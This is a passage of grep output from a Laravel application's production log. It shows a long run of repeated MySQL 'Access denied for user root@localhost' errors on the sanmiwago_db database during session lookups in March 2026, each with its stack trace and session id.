select * from `sessions` where `id` = A2FEBGcfCrZ32VXpoYLsBMYDS3Dcgq2U0dk4UMbh limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-03-10 18:16:36] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = VslolzgIueM0WxFMBgjoPntwiBQyIq5RekIug4an limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = VslolzgIueM0WxFMBgjoPntwiBQyIq5RekIug4an limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-03-11 01:20:12] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = EHUV9FrotXStiXTllpnz6uKMIHeG9KqXUJwVGQhw limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = EHUV9FrotXStiXTllpnz6uKMIHeG9KqXUJwVGQhw limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-03-11 08:10:41] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 80XKAzOTrKc2HqPpH7CKyctD9dPwKZSg5tELReJC limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 80XKAzOTrKc2HqPpH7CKyctD9dPwKZSg5tELReJC limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-03-12 08:37:05] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = ZcsLd5AN0yoUKHX8ybtMlxu8EzjOWTVJfGTxqcvT limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = ZcsLd5AN0yoUKHX8ybtMlxu8EzjOWTVJfGTxqcvT limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-03-12 09:16:34] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 0atfrzOJaLI7nJ4IogrXx0cjSL0YUgqPrVyK3xLl limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 0atfrzOJaLI7nJ4IogrXx0cjSL0YUgqPrVyK3xLl limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-03-14 02:13:05] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = mb2xbicTyapOqquSrgJz4XQYTwCX9vQzgEtTojFw limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = mb2xbicTyapOqquSrgJz4XQYTwCX9vQzgEtTojFw limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-03-15 04:33:31] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = KVIWOpPzbE10Uo9Oq101K2adD9JgU33l58yO8jBy limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = KVIWOpPzbE10Uo9Oq101K2adD9JgU33l58yO8jBy limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-03-15 04:33:32] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = X1Azw7mR86z8124hxWXBBecdEPbuS4CoDZuJYv8i limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = X1Azw7mR86z8124hxWXBBecdEPbuS4CoDZuJYv8i limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-03-15 04:33:32] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = TsiOwHjQI90mq3gImrNZC6tjuiH0FCnvsWMF5TAj limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = TsiOwHjQI90mq3gImrNZC6tjuiH0FCnvsWMF5TAj limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-03-15 04:33:34] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = HkTAPhlTSk3Ia1o6NDnfHLqWrx1WERBk9XdZylqH limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = HkTAPhlTSk3Ia1o6NDnfHLqWrx1WERBk9XdZylqH limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-03-15 06:11:34] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = fGHXuwtgNbhrzwTi7Ipk3D4ohrEhrJAR5TMu3hxj limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = fGHXuwtgNbhrzwTi7Ipk3D4ohrEhrJAR5TMu3hxj limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-03-15 10:21:35] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = edPj9E6leViXpkmbkatyh29wd3EFa5YvXUIJ5tX4 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = edPj9E6leViXpkmbkatyh29wd3EFa5YvXUIJ5tX4 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-03-15 23:43:59] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = hxspq7GsUJKOzMhU79Jq1pwU1ySeQM0sEEPWQau7 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = hxspq7GsUJKOzMhU79Jq1pwU1ySeQM0sEEPWQau7 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-03-16 09:23:23] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = Zyn67kRKoQ6vsm4YpG98DWhZUCLe1rZ1XDZG8Z4b limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = Zyn67kRKoQ6vsm4YpG98DWhZUCLe1rZ1XDZG8Z4b limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-03-16 10:03:10] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 6KcVqLuwe8CKgDZaJXSLneFIM0cEgW0aEU93Vrpy limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 6KcVqLuwe8CKgDZaJXSLneFIM0cEgW0aEU93Vrpy limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-03-16 10:03:11] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = j21Ugq4ITHee0utzw40nfazucBgVjswPgtk4CWaB limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = j21Ugq4ITHee0utzw40nfazucBgVjswPgtk4CWaB limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-03-16 10:03:31] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 7c2vYMWZ2AFt4xQ9TxZt9QjOb7vzvjfFlC9kw2rn limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 7c2vYMWZ2AFt4xQ9TxZt9QjOb7vzvjfFlC9kw2rn limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-03-16 10:03:52] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = aWXhuuJjeNiJhss5ztP53CzlVxOmr8CsPLatrZOf limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = aWXhuuJjeNiJhss5ztP53CzlVxOmr8CsPLatrZOf limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-03-16 18:08:38] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = egxURhXuJvP8TWWP1wznuF31E1vlhkjcKMKABlRX limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = egxURhXuJvP8TWWP1wznuF31E1vlhkjcKMKABlRX limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-03-17 05:49:36] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = XJlQ1OcX24KOEDQLFEae3tHFK20Mj7Yrtt3NC9fG limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = XJlQ1OcX24KOEDQLFEae3tHFK20Mj7Yrtt3NC9fG limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-03-17 10:24:25] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = GoUzLXT2YA83leu1p3qdJ9GFlxRRjwMW2F3s49kM limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = GoUzLXT2YA83leu1p3qdJ9GFlxRRjwMW2F3s49kM limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-03-17 11:32:00] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = njQ4FY6NAQGcJ0CSY890wHMlwj3cF0GjxWkuYBQ7 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = njQ4FY6NAQGcJ0CSY890wHMlwj3cF0GjxWkuYBQ7 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-03-17 15:50:08] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = FyDCdl2rXWCNt8YwG13o04qxMQu2Ezoi88gCJKrZ limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = FyDCdl2rXWCNt8YwG13o04qxMQu2Ezoi88gCJKrZ limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-03-18 11:27:50] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 7fSwrPLg5V0odFq36qoY2a3GZVVzCSQQQQK7sBGR limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 7fSwrPLg5V0odFq36qoY2a3GZVVzCSQQQQK7sBGR limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-03-18 13:57:59] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = Hr0CmFGFRvCmNvBNMOHBiG0kmizRL7PF9WfDQjrp limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = Hr0CmFGFRvCmNvBNMOHBiG0kmizRL7PF9WfDQjrp limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-03-19 05:25:23] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = VyFMhTEVPPl5jiDu8hakuYi2KEqH7oOaZDGWTT4i limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = VyFMhTEVPPl5jiDu8hakuYi2KEqH7oOaZDGWTT4i limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-03-19 07:48:24] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = Eko4iieqt4t7eaBCSRwnDE8E2dTGCqhLKHXpFOku limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = Eko4iieqt4t7eaBCSRwnDE8E2dTGCqhLKHXpFOku limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-03-19 16:02:55] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = HHMz2n9wwpds9AnZk22IOXRIfoXAj5AbuoN17fWB limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = HHMz2n9wwpds9AnZk22IOXRIfoXAj5AbuoN17fWB limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-03-20 04:30:57] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = KlzH3EBJ8JTLKqot0FzYmHFT8y1Xhebc5B5CbVY0 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = KlzH3EBJ8JTLKqot0FzYmHFT8y1Xhebc5B5CbVY0 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-03-20 15:56:00] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = jPE4M5BHlpsSRneT4mc7COtdFUhfzw5AjunmZmJS limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 